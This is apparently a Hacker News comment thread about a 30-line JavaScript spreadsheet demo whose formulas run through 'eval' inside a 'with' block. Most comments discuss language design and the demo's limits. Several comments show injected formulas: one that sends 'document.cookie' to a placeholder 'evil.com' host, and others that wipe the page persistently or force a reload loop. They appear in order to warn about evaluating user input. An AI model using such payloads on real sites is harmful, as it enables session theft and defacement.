273 comments

[ 4.7 ms ] story [ 261 ms ] thread
My text disappears after I type it in and move on.

And why do you call a table an "excel-like" app? Can it so =SUM(); can it do search and replace or the over 9000 other features of excel? No... it's a table, with a editor.

try "=1+2"
doesn't seem to work - it remains as text, instead of giving 3.
It works, but only in reasonably modern browsers. Which one do you use?
Click on another cell rather than pressing enter.
It's 30 lines of javascript, what do you expect? This is a cool little project and the negativity is really unnecessary. The author could definitely have chosen a better description, but that is no reason to dismiss it outright.
Because it simulates a subset of excel functionality, namely the ability to reference values in other cells and automatic re-computation of changed and dependent values.
These comments freak me out. Guys, come on... It's just 30 lines... Great job author, fascinating.
They made a fully functioning spreadsheet in 30 lines with no libraries. I'm sure adding more functions is possible... You could probably even figure out how to create a SUM function...
You can create your built-in functions as this:

var DATA={ SUM: function(a,b) { return a+b; } }

Nice demonstration of language features, like 'with', that we usually take as 'bad practices'.

The language is javascript, not excel's, but you can do sum if you like: [A1, A2].reduce(function(a, b){ return a + b; });

You could, of course, write a sum function, and reference it wherever you like.

Ah yes, that's actually an interesting side effect of the eval strategy that I didn't realize myself yet. Nice!
On one side I'm like come on guy, it's impressive.

On the other, I imagine some PM is going to read this and expect their developers to get a google docs competitor out in a day!

Sure you can, just add the function first:

function SUM() { var sum = 0; for (var i = 0; i < arguments.length; i++) { sum += arguments[i]; } return sum; }

Now you can do stuff like =SUM(A1, B1, C2) and it works like expected.

Very cool and a great springboard for others to develop from.

Bug/feature: only uppercase works in formulas (A4 works but a4 does not).

Neat idea, lowercase fixed!
Worth a line of code to add return key to move down a cell?
http://jsfiddle.net/hYfN3/197/

    elm.onkeydown = function(evt) {
        evt = evt || window.event;
        var keyCode = evt.keyCode || evt.which;
        if (keyCode == '13') {
            var nextid = this.id.charAt(0) + String.fromCharCode(this.id.charCodeAt(1)+1);
            document.getElementById(nextid).focus();
        }
    };
disclaimer: I don't know JS
This works wonderfully.

Definitely the most punch I've seen per line of code.

You can use javascript functions in your excel formulas. In a 30 line of code program this is a feature.

= alert("I love it.");

Definitely a cool hack, but I had to laugh out loud at "Excel-like syntax (formulas start with "=")". Apparently the grammar for an "excel-like" syntax is:

excel_like_expression ::= "=" javascript_expression

(comment deleted)
Probably the most misleading article name in the history.....
How so? Even some formulas work!
Aside from losing input when tabbing out, works a treat in Opera. Can think of a couple of places that a fork of this might come in handy in my work this week. Clever, thanks for sharing
it does a parseFloat() on the input, so input that can't be coerced into a float gets turned into NaN and not displayed.
Makes sense, hadn't even looked that closely at the code before I commented - all 30 lines of it, ha. Shame on me.
Looks like that particular problem has been fixed.
A dangerously awesome feature: eval means it probably would support anon funcs.
Yup:

  =(function(){console.log("hehehe");})()
Don't need to go that far:

    =alert("hehehe")
Any javascript works. For example:

=document.getElementsByTagName('body')[0].parentNode.removeChild(document.getElementsByTagName('body')[0])

The line is saved in localStore, breaking the spreadsheet for future requests.

Just like Excel, this version allows you to program almost anything inside a cell. Try inserting =alert("foobar") in a cell :)
First thing I tried was "=alert()". While it worked, its tendency to block, recalculate, and persist with localStorage made it a bad idea, personally.
btw, do not use location.reload or you get a reload loop until manually deleting the entry in local storage
I am impressed. Its a neat hack, it actually is a real spreadsheet in 30 lines of code, with references fully working (ie =A3+B4 gives expected output. As does =alert("foo") but then nothing is perfect).

I think it says something about the browser as a platform - these thirty lines simply assume an enormous amount that excel and visicalc could not - visicalc had to write their own screen refresh routines.

It is useful sometimes to reflect on what has evolved so far - and wonder where we should be taking things. What is it now that is the equivalent of writing our own screen handling routines? Location? Distributed computation or storage?

Personally I was confused as to how the fellow got around the basics of having to parse tokens until I noticed

with (DATA)

now that's just genius. I hate writing token parsing.

with (context) + eval = user-space lexical environment ?
Yep, I'm using something very like this in a Node project I'm working on. However, with(context) has some pretty nasty side effects that I just couldn't sidestep, so I used the "contextify" module.

If you're needing with and have access to npm, use contextify, It'll save you a lot of effort!

Thanks for the tip, but I'm far from working with javascript right now[1], I was barely trying to understand the trick. I love the fact that this 'app' is a 6x6 variables grid layout javascript editor in disguise.

[1] I just finished skimming through eloquent js and js allonge, and this still eluded me.

Do you mind elaborating on those nasty side effects? (I use with(context) for a small but important feature in the product I work on.)
if it's on node.js I imagine there's things to worry about like malicious injection
No, unfortunately. If a reference isn't found in your context object, it falls through to the ambient namespace. So say you run ...

    context = { foo: 1, bar: 2 };

    with (context) {
        foo = 2;
        bar = 3;
    }
That will probably do what you expect. But now say you run it where context is just ...

    context = { foo: 1 };

    with (context) {
        foo = 2;
        bar = 3;
    }
... you might think this would add a 'bar' property to your context object, but in fact it creates a global variable bar. Whoops!

In short, 'with' is pointy on both ends.

I am a bit lost as to why cycles are handled the way they are. Part of the problem, is cycles seem to crash chrome's developer tools.

If you put =A1 in A1, and =A2 in A2, it crashes the web inspector for me.

I am lost as to why putting =A1 in A1 doesn't cause an infinite loop. Why doesn't eval (DATA.A1) not trigger the getter and hence an infinite loop?

(comment deleted)
The getter impl should prevent this. Firefox, for instance, throws an exception...
I think I figured it out. It does cause an infinite loop, but Chrome throws a "Range Error: Max Call Stack Exceeded", which then gets trapped by the try/catch block.

Firefox does a similar thing, by throwing a "too much recursion" error.

It's possible that the call stack is being exceeded, but the Web Inspector is still trying to display each portion of the call stack - leading to an out-of-memory condition for the inspector?
I'm a bit slow this morning...would anyone mind explaining how that and the defineProperties stuff makes a parse happen?
(comment deleted)
defineProperty is being used to set a property On DATA, named corresponding to the cell's id (e.g., A3), to a descriptor. In this case the descriptor only provides a getter function, inside of which is an eval done with DATA as the context. That means all evaluated variable references will assume DATA as the implicit 'this' (whereas normally that would be 'window')
(comment deleted)
50 getters are defined on DATA: a1..e5, and A1..E5

Consider the formula =A1+A2

inside the getter we have:

    with(DATA) eval('A1+A2');
Which is basically the same as:

    eval('DATA.A1+DATA.A2');
Inside the eval, the getter for A1, and A2 will be called. This will continue until non-formulas are reached and value is returned. The other possibility, is you get an infinite amount of recursion, which causes an error that is caught in the try/catch block. For instance, if you put =A1 in A1, the DATA.A1 getter gets called 1000's of times, eventually causing a stack overflow, which is caught by the try/catch block.
I can safely say its one of the only 'appropriate' uses of a with-block I have ever seen.
Using both 'with' and 'eval' on the same line, nice ;)

Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'.

Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZook?t=13m30s

Are these statements still true ?

Somewhat. It is generally not recommended to take things dogmatically; even a potentially dangerous and frowned-upon techniques might be suitable in certain scenarios.
Yes. They're generally performance and reading nightmares. But this is a very clever usage.
Yes, the statements are still true. This is an exceptionally clever hack, but it can't really be expanded upon, because as soon as you allow sharing of spreadsheets, it is a security nightmare.

Consider: =document.cookie, or =document.write('<img src="http://evil.com/'+document.cookie +'">');

eval of user input is just not safe, and the with statement also presents problems, such as =INPUT

Doing this all in a webworker might be one way to get security - by sandboxing the with/eval?
Possibly. Web workers are isolated from the DOM, but can still do stuff like import other scripts or do XHR requests, but those would be limited to the same origin.

It seems like that would be somewhat XSS safe since you are just passing strings back and forth.

I really like this idea.

   evalSafeAsync(code,context,callback) 
That being said, for a spreadsheet, you need to bite the bullet and parse the formulas. I don't see an easy way to support SUM(A1:A4) using this eval hack.
Script evaluated in a web worker would still have access to your application's cookies and would be able to interact with the server with the user's credentials. You probably don't want that.
you can use httpOnly cookies and they will not be accessible via javascript.
There aren't a lot of good reasons to use `eval` and `with` in production JavaScript. Two wrongs don't make a right, even when you use them on the same line of code.
At a general level, the recommendation to avoid `eval` and `with` is worth heeding, particularly for people who are new to the language.

You need to be familiar with how `with` handles some ambiguous cases in order to use it effectively and safely, `eval` can have some security and performance gotchas. And usually there are other ways to do many of the things you can do with either of them that don't have those pitfalls.

That said, I think the recommendation got out of control -- we have this bad habit of collapsing studies of problems with something into blanket declarations that they're evil.

Here we've got a demo/proof of concept where one of the key constraints going in was code size and using only native facilities. `eval` is saving the developer from writing a parser/expression evaluator, `with` makes it easy to use `eval` while keeping the data in a limited scope. A bigger spreadsheet app would have its own expression evaluator that uses, but using them here makes sense to keep things simple.

They also occasionally make sense in other contexts. Just make sure you really understand the problems involved and have strongly considered other options before you break them out.

A 30 line javascript spreadsheet is similar for me to when I first saw Norvig's 21 line python spelling corrector (http://norvig.com/spell-correct.html): this language is more powerful and expressive than I thought.

I'm increasingly believing that HTML/CSS/JS in a browser is a viable common runtime. This demo does quite a lot to solidify that belief.

I've felt that way for 16+ years.. of course, 2/3 of that time most developers never took the time to understand/learn JS the language, and then separate that from the horrible browser DOMs in the late 90's. NN's Layers vs IE document.all ... Starting with IE5/6 (and later Phoenix/Firebird/Firefox) it actually got a lot better.

It's definitely nothing like IE4/NN4 days, and it looks like IE8 is finally falling off the radar, with IE9 to follow in the next couple years. It's only getting better. IE8 was really the last relatively bad browser imho. IE9 has some quirks, and IE10/11 are actually pretty nice (though IE11 is the most buggy browser MS has released since IE6, possibly more so).

Yes, there are still browser compatibility issues.. but they are so few and far between for day to day use. Except for WebRTC and WebAudio, things are really solid.

> it looks like IE8 is finally falling off the radar

Some are luckier than others... I suspect one of our major clients (one of the country's largest banks) will be stuck using IE8 and nothing but for the next few years at least. They only moved off IE6 recently due to it falling out of support next April, so there is a chance they'll stick with IE8 until 2019 (the year before it and Windows 7 drop out of extended support).

At least our other major clients (smaller financial institutions) have started to see sense. While they are stuck on IE8 due to some ancient internal code that won't work on anything more correct that are at least rolling out Chrome on their standard desktops as an alternate choice for everything that doesn't rely on old IE bugs.

Seconding this - some of us designing web applications / intranet apps for banks or government have to support IE8 for the foreseeable future. We're just now starting to drop IE6 support for the new versions of our products.
When I was a contractor at a major bank, the standard was IE6, and movement towards IE8 was in progress (as Win7 was rolling out)... I don't know if they held at IE8 though, as most people I knew there have left, even the FTEs. It was an SPA that drove a lot of adoption/allowance to use Chrome/Firefox, so it may have well gone that direction since leaving.
The move from IE6 to IE8 has (pretty much universally in the investment banking industry in the UK) only been over the last year or so.

They are still pretty much all on XP, but new laptops are generally Windows 7 (with IE8) and I suspect Win7 will be rolling out to older standard builds (both desktop and laptop, machines old enough to not be Win7 compatible having been replaced already) as the first thing the relevant TS departments do after the Christmas/NewYear non-emergency-work freezes.

What's an SPA? (I guess FTE are full-time employees?)
Single Page Application. There are a bunch of javascript SPA frameworks getting attention lately. Angular, Backbone, Ember...
The only things that are powerful and expressive in JavaScript are bastardized beyond recognition versions of ideas from Lisp, Smalltalk and Self. You get those dynamic mechanisms that we know for 50 years now (lambda expressions and runtime method dispatch, oh wow) to be useful but without learning any lessons learned in those 50 years about how to design a coherent language based on those concepts, you just get a hodgepodge of language constructs that don't add up together to form a useful toolkit. It might look nice in a 30 line program where you don't care about performance, code readability (and boy does this code look ugly) and bugs and maintenance costs.

Ruby or Smalltalk have an object system for doing those kinds of things that was actually designed and not evolved by committees and corporations, so that your meta-programming doesn't have to always be only eval and .bind in various incarnations (unsafe, inconvenient and slow). I can't imagine how this thing here that makes evaluating "A1" perform a function call fits into the rest of JavaScript and why the hall was it even introduced:

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Refe...

Not to mention the "with" usage on which this hack is based is actively discouraged by everyone using JavaScript as it basically mixes in the object into the current scope. In a sane language, you do .instance_eval, and you narrow the scope to whatever the object contains.

I congratulate the author of this code as much as everyone for finding an unexpected and very creative use for those features, but this doesn't make them great.

All valid points. With the norvig example, the longer I look at it the more I like python. With this js example, the more I look at it the more I like python.

Sadly, I can't really run python in the browser.

Yeah, I'm aware of this and emscripten. So far, to me, they don't look viable for DOM manipulation.
Consider coffeescript. It does a good job at removing nuisance quirks from Javascript, and adding some python-esque features (sensible looping constructs, list comprehensions, etc.), while maintaining logical equivalence with the javascript it compiles to. (It also mirrors some of the syntactic features of ruby that make that language so appropriate for producing DSLs, which is a feature or a bug depending on your perspective)

You really can think javascript and write coffeescript.

You make a convincing argument.
Thanks! If you're looking for ways to ease the burden of compiling it yourself, my favorite tools are django-pipeline (for django) and middleman (for static sites). Both of these let you treat coffeescript files as first-class while you develop.
Consider ES6 too. It also does a good job at removing some Javascript quirks and adds sensible looping constructs, list comprehensions, generators and generator comprehensions, proxies, rest/spread arguments (removing the need for the magical `arguments` identifier), classes (just sugar for what we already wire up with prototypical inheritance), modules, fat arrow functions etc.

No help on the DSL front though - still stuck with various kinds of brackets and parens.

On the other hand, it doesn't do the utterly horrible mistake of conflating variable declaration and variable assignment while forbidding shadowing, resulting with surprise bugs and spooky action at a distance.

I like the way ES6 is going, but Coffeescript has the advantage of maintaining compatibility with old (like, old-old) browsers. I hate having to do it, but you can't just ignore them.

Server-side, sure, use the latest build you can get.

I agree, saying "Wow, this is a viable and useful language" because you can do something in just a few highly unreadable lines seems... like a pretty odd judgment.

It'd be a bit like saying that C is a great language because someone wrote a raytracer that fits on a business card[0] using it.

[0] http://fabiensanglard.net/rayTracing_back_of_business_card/

This code is fairly readable. It takes one or two shortcuts, but it's much closer to real code than to golf.
Imagine if management had not vetoed non "Java-like" syntax's during javascripts creation. Maybe Brendan Eich could have gotten a decent scheme dialect into the browser instead, people could have learned it (because in hypothetical retrospect, what else were they going to do? Not learn it?), and we would be in a far more pleasant position today...
They would have learned whatever Java/C-derived scripting language that Microsoft came up with instead.
That was likely the fear at the time, but what we actually saw was Javascript became popular because it was useful and there wasn't really anything else like it. It became popular, so Microsoft threw in with it too.

In order for that to have not happened, it would have had to be so unpopular that Microsoft would decide it wasn't worth adopting, but still popular enough to get Microsoft on board with the general idea. I just don't think that is likely; people would have sucked up a scheme-based javascript even if it was a tad unfamiliar; it was that useful.

(Not to mention, going with the cynical "three E's" theory of 90s Microsoft, they would have at least first adopted it before perverting it.)

I think people overplay the importance of being C-like. AutoLISP hit a bit earlier and found a very strong following in a non-programmer niche. People doing web development were already fucking around in HTML of course, so clearly they could wrap their heads around things over than curly braces.

that is a weird and complicated take.

microsoft had visual basic in the browser, working like php works. that was microsoft's vision, which would have been the web if netscape didn't still have significant market share. IE had to implement javascript to be compatible with pages written for netscape.

simple as that. just microsoft's famous "embrace, extend, extinguish" strategy at work.

Microsoft's famous "embrace/extend/extinguish" is why they would have followed Netscape in implementing even a scheme-like javascript. They wouldn't have skipped the first two E's just because it was scheme-like instead of java-ish.
No, but perhaps there would not have been any pages written for netscape for IE to be compatible with.
(comment deleted)
Not learn it?

Certainly an option; keeping the syntax recognisable helped rather than hindered adoption, which was slow enough as it was at the beginning.

JS+DOM could have lost to Flash rather than vice versa.

If being "like java" was so important, then why didn't it just straight up lose to "actually java"?

I don't think that JS+DOM beating flash/java has much to do at all with "gee, this looks superficially like java, but is different enough to trip me up in rather weird ways".

Don't conflate why Flash lost to why Java (in the browser) lost, there are very different reasons. For one thing, Java had failed as a browser plugin long before Flash did (as if we don't still see Flash in the browser...I wonder what our discussion would be if not for Apple?).
So....I wonder...what's your idea of what should be a proper language to have in the browser?

Note: This isn't criticism of your view nor am I taking sides. I am wondering --since you have a strong opinion on this front-- what you think the solution might look like.

I mean, are you looking at the idea of having something like python natively available at the browser?

> (and boy does this code look ugly)

At least to this dev, it's pretty clear what each line is doing and how -- certainly clearer than what you mean by ugly.

> your meta-programming doesn't have to always be only eval and .bind in various incarnations

I don't think this statement makes a whole lot of sense except to the degree all meta-programming could be argued to be eval and bind in various incarnations. Certainly there's literally other options available for JS.

> unsafe, inconvenient and slow

Someone holding up Ruby as an example while complaining about safety and speed in other languages is... interesting.

> the "with" usage on which this hack is based is actively discouraged by everyone using JavaScript as it basically mixes in the object into the current scope

"with" gets a bad rap, and its blanket discouragement/deprecation may be as big a mistake as its original design. It's true that using it takes some thought about the potential scope ambiguities, and it's true that it could have been better designed (personally, I think an optional de-ambiguating dot-operator would have been a nice lightweight way to go), but it's also pretty useful, and once you take the time to understand what the possibly ambiguous cases are and what the decided-on rules are, it's not hard to work with.

> In a sane language, you do .instance_eval, and you narrow the scope to whatever the object contains.

The right instance scoping construct might've been one of several nice ways to go too, but certainly not the only sane option.

> this doesn't make them great.

No, apparently just... useful. Useful enough to build something like this. Certainly not great, though.

> "with" gets a bad rap, and its blanket discouragement/deprecation may be as big a mistake as its original design

Unfortunately not. The design of with not only makes the code difficult to reason about for humans, it also makes the code difficult to reason about for js engines, and so it typically prevents any interesting optimisations. So code written using "with" will be both confusing and slow.

What breaks my heart when someone claims that JavaScript was inspired by Self, is how Self was all about the wonders of multiple inheritance and dynamically mutable parent slots. JavaScript totally missed the boat on that one, with only one prototype slot, and the only time you can set it is when you create the object with "new".
I recently found myself needing to use "with", and hating myself for it. Does anyone know a better way to do this in JavaScript?

    // Take an array of context dictionaries, and return a                                                                                      
    // function that evaluates a string in those contexts.                                                                                      
    // I fully realize how horrible this code is, and that                                                                                      
    // it only supports up to ten contexts. I feel terrible                                                                                     
    // about it, as I should, but I would feel even worse                                                                                       
    // if it were impossible to do this. But isn't there                                                                                        
    // a simpler way to do this is JavaScript? Maybe I                                                                                          
    // could use __proto__ inheritence, but I was hoping                                                                                        
    // to avoid.                                                                                                                                
    function evalInContextsFunction(_contexts) {
        var _contextCount = _contexts.length;
        if (_contextCount == 0) {
            return function evalInContexts(_text) {return eval(_text)};
        }
        with (_contexts[0] || {}) {
            if (_contextCount == 1) {
                return function evalInContexts(_text) {return eval(_text)};
            }
            with (_contexts[1] || {}) {
                if (_contextCount == 2) {
                    return function evalInContexts(_text) {return eval(_text)};
                }
[...and so on...]
Increasingly?

This demo is impressive, but apart from the LocalStorage, this exact same code would have worked just the same 15 years ago.

The web has been a great runtime for a long long time.

> Norvig's 21 line python spelling corrector

That spell checker is intended to demonstrate a technique but it is far from 21 lines of real code. It you look at the included modules (re and collections) you'll find THOUSANDS of lines of code.

As always "I did x in n lines of <insert language>" often are really interesting learning tools but real production code isn't (or should not) ever look like these examples. No criticism of Norvig's code, it's interesting and I, too, learned something very interesting the first time I saw it.

> What is it now that is the equivalent of writing our own screen handling routines?

Centering something using CSS. :(

Just goes to show how much the far left and the far right has influence over our society
Eh, it's pretty easy to get things not on the far side of the screen; it's just hard to get it precisely in the center.
Center something vertically :). Or even better, create three divs, arranged horizontally, with a different amount of text such that all the divs are the same width and height. Note that you cannot specify a height for the parent since the text may be of arbitrary length. Makes me sad every time.
Sure, table layout is how you'd have to do this. To me this shows that half of HTML/CSS happened because of legacy issues and not with deliberate thought. The semantic web is mostly dead other than to help Google parse out their own ads while CSS remains a mess full of hacks like this.
There was never anything wrong with the table layout algorithm, what sucked was that there wasn't any way to apply it without typing your HTML rigidly to that structure. The situation still isn't perfect and flexbox is a strange alternative that I'm not quite happy with yet, but you can't deny that the HTML in my example represents the content you described with almost no extra layout fluff.
Fair enough. Perhaps this wasn't the best example.
(comment deleted)
He was being punny...
I'd say its more like, using OpenGL ES to manage your render buffers and textures ..
While reading I also noticed the '=alert("foo")' hack, and thought I'd be able to point it out first, but you beat me to it! Ah well, that could be fixed pretty easily if it were harmful enough.

I think it's time that we accept the browser as a platform development model. Now Apple has 'iWork for iCloud' and Google has had it's doc programs for a while.

Very good hack, very powerful idea.

How does jquery count as 'no library used'?

EDIT: I get it guys - I complained without reading carefully, sorry...

jQuery is not used, $ is just used as a variable name.
"$" replaced with "elm" to cause less confusion.
I apologise for my confusion and retract my moan.

I'm afraid I suffered from commenting without reading properly. In my defence, seeing $ signs everywhere shuts down the careful part of my brain.

Nice, thanks for sharing
Are there any more full-featured libraries that people use for this?

I've found SpreadJS[0], GelSheet[1], jQuery.Sheet[2], and ZK Spreadsheet, but none seem like thriving open-source projects as far as I can tell.

[0] http://wijmo.com/demo/spreadjs/samples/index.html

[1] http://www.gelsheet.org/demo

[2] http://visop-dev.com/Project+jQuery.sheet

[3] http://www.zkoss.org/product/zkspreadsheet

Probably not, since you can't really make a spreadsheet-like widget unless you endeavor to make it an Excel clone.

Many grid (table) widgets support edit-in-place, but that's as far as most of them go. The target userbase for full-featured spreadsheets is going to be users whom I'd presume already have access to Excel (edit: and/or access to a compatible product, like Google's online version or maybe one of the FOSS MSO replacements).

The most full featured OS JS spreadsheet I know of is ethercalc, check it out. It's even got a rest api..
Whilst not focused on being an Excel clone, Backgrid has worked great for me. It's bound to backbone/underscore if you're already using that.

http://backgridjs.com/

I'd really love to see one that supports a hierarchy of JSON data, such as a treegrid.
Can you explain how such a tree would map inside a graph? I can't think of an obvious use case.
How about editing csv files in a git repo?
Just waiting for the other 20,000 Excel features to be added. :)

This may sound like an inane comment, but trying working along Excel power users for the past two decades. Most people have no idea of the crazy, huge, complicated environment that is Excel.

Around my parts of the woods, people are very wary of putting an editable grid into a web-page.. because over years of maintenance, all editable grids tend towards excel, and excel has an infinite list of features for clients to request.
People abusing Excel really grinds my gears. Excel should pretty much be for financial/statistical computations only. People use it as a database, word processor, etc. which is just ridiculous.

Unfortunately, it works for them because people like the interface - i.e. a nicely modifiable grid of values. We're in dire need of an application that simplifies working with a database, and better table-editing tools in word processors.

This is very impressive. The use of "Object.defineProperty" and "with" to handle formula evaluation is particularly clever.
This is truly great as proof of concept and also as a reminder that in software development building 80% of perceived* functionality usually takes only tiny fraction of total development time which is required to build final product.

* - this app looks and feels like “almost complete spreadsheet” yet it provides much less than 1% features of even a basic spreadsheet.

And 80% of perceived functionality is what most users — even people who rely on spreadsheets for their work — need.

I'm not saying including the other 20% of functionality isn't a good thing to do, but when you're creating a new product or open source project, you can get by (and thrive) building only the 20% of functionality that's used 80% of the time.

Why? Because 1% of functionality is still better than 0% (never shipping).

You're not Microsoft. You don't have to keep your dominance in the spreadsheet software market like Microsoft has to.

The problem is that the total economic value (as measured by market price) for the users who only use that 80% of perceived functionality is close to 0 (google docs and OO/LO are free)

The incredibly difficult 20% is what people pay for. It's what the businesses that shell out billions of dollars a year pay for. And it's what a successful product in the space needs to tackle

Um no. Google docs is free for the same reason IE was free. The economic value is tremendous, such that the creator is willing to spend billions on it.
On the other hand, you are taking what appears to be a general observation and applying it to this specific instance. Sure, there are plenty of free spreadsheets available. But what about other areas? There's plenty of areas still where a well executed easy to use minimal version of a product can compete in the existing for-pay ecosystem, and as we are discussing, minimal can pay off since 20% of functionality may take 5% or less of the time it would take to do 100%.
Y'alls be talking about different things.

You're talking about "feature minimalism is a good design philosophy".

The other dudes are talking about "bridging the gap between a sweet demo and a final product is a tremendous assload of work".

No, I'm specifically just saying that not everyone's "final product" is the same thing, and depending on the target market and audience, a minimal product may be worthwhile, and the economic value isn't always "close to 0", as the parent I replied to stated.

Also, I don't think that "feature minimalism is a good design philosophy" is always true, even though it may guide you well in most cases.

You missed his point.

It doesn't actually work well. It doesn't do basic stuff, which makes it entirely unusable. Like you can't move up/down/left/right using the arrow keys. You can't save it. It crashes if you make basic mistakes.

The 80% of perceived functionality is that it looks like a spreadsheet app and actually does some basic calculations.

It actually does about 5% of what you'd expect even the most basic of spreadsheets to do. And all the polish of even the most basic functionality is missing, which is what takes most of the time.

Which is why you should always avoid putting a pretty looking but barely functional mockup in front of the pointy hairs. They then think it's almost done.

Agree with your last point totally.

But 30 lines of code, what do you expect? Now imagine jQuery type library with a community of developers and you get... Google Docs :-p

I'd say this is to Excel as MongoDB is to any real database.
> And 80% of perceived functionality is what most users — even people who rely on spreadsheets for their work — need

This is exactly the insidious myth that the GP is pointing out.

Yes, 80% of the "perceived" functionality might be 1% of the work. But the remaining 20% is a long tail of utterly essential features that are completely fragmented between users. Each user only cares about 80.1% of features, but without the extra 0.1% your spreadsheet is useless.

One user will care that it doesn't print. Another will care that it can't do a sum over columns. Another will care that it doesn't have charts. Another will care that you can't make a bold heading. Another will want statistics functions. Basically your "80% of functionality" has zero value until you do years of work to implement all those 0.1% features.

This myth leads countless people to implement what they think is MVP and then be mystified that their insanely great work still has zero value to anybody they actually show it too.

This ridiculous false choice suggests a certain lack of understanding of what it is like to build software.
Really? The first thing I did was select a cell, type =, then press the arrow keys. Nothing happened.

The perception of being a "almost complete spreadsheet" might be due to the UI looking similar to older versions of Excel, leading people to assume stuff is there that doesn't.

Also, I wonder how much of this code would survive if you want to get beyond this 1%. Probably nothing, which makes this a road with a dead end. This doesn't mean it is not a useful and brilliant demonstration of cool language features (hacks?), which is how I see it. But there's no relationship between this amount of work/code/lines for this percentage and the amount of work/code/lines for any reasonably higher percentage of spreadsheet functionality.
Wow, was this made by the same ondras who made wwwsqldesigner? This guy got me into Javascript a couple years ago thanks to the source code of that tool, and now it pays a good part of my bills. The tool himself helped me quite a bit too. Awesome guy.

Nice hack, impressive!

Expressions did not evaluate for me. Reading the other comments I think I'm the only one though :-(
They didn't work for me either - the attempt to access localStorage on my latest Chrome/Mac throws a security error in the console for some reason (may be a plugin/blocker). If you're getting the same, it seems to work in Safari for me.
You have to click on another cell for them to evaluate (pressing return does nothing).
Broken for me too, on both FF & Chrome. As you say, the formulae are just displayed, not evaluated.
In Chrome I had to allow localStorage for it to work, which was disabled by default.
I'm getting the same behavior. formulas like '=1+2' just show in the cell instead of their result.
Awesome job! Very clever :)

After seeing it working and the few clever lines of code I was really surprised. But then I though: oh, let me go back to HN and read the comments from people saying "BUT IT DOESN'T HAVE CHARTS!!!" and unfortunately comments like that are here. What is wrong with this poeple???

Apart from the fact that I think (as far as the comments that are on now) you are exaggerating quite a bit with "BUT IT DOESN'T HAVE CHARTS!!!", I also think there's no need to suggest that there's anything 'wrong' with those people.

There's the downvote button if something is really not fruitful for discussion (remember though discussion is - to a respectful extent - often enriched when people differ in their views and opinions on a subject).

I don't see why every thread on HN needs a top level comment that meta-discourages criticism.

I still don't have the down vote option :(

And the reason why I point these critics out is that they are simply not reasonable if you know what is happening there. Perhaps having a top level comment like this may actually encourage them to think twice or try to learn before commenting?

But you know, maybe this is just a mirror to what happens almost daily in companies where there are non-technical people making decisions. Imagine this "excel-like app" being presented by the author to his boss, a non-technical person, as something extra that he built and is all excited about. There is a good chance that his boss will make the bad comments that it is lacking a lot of features. That is probably why these people make such comments: they don't have a clue of what is going on.

Doing this makes it a lot less useable. =document.location="test"
For 30 lines of code it is indeed impressive.

But I think it would of been more impressive at 40 or whatever it would of taken to have a couple error checks.

What I mean by this is if you enter an invalid formula say =() or =asdf in a cell it breaks all the valid formulas you enter after that cell making them display as text instead of a value when refreshed.

Added a trivial try-catch block so error in one cell does not prevent others from evaluating. Line count unchanged :-)
This + TideSDK for cross platform deployment (or just delivery in a browser, if you're happy with the insecurity) = Awesome.
I am impressed, congrats. Next time some C++head jokes about JS I'll show them this (and some linux emulators)
A reminder of why HN is awesome. Ya ya i know it is a clever little JS hack and hardly an excel replacement but love the creativity of this.
(comment deleted)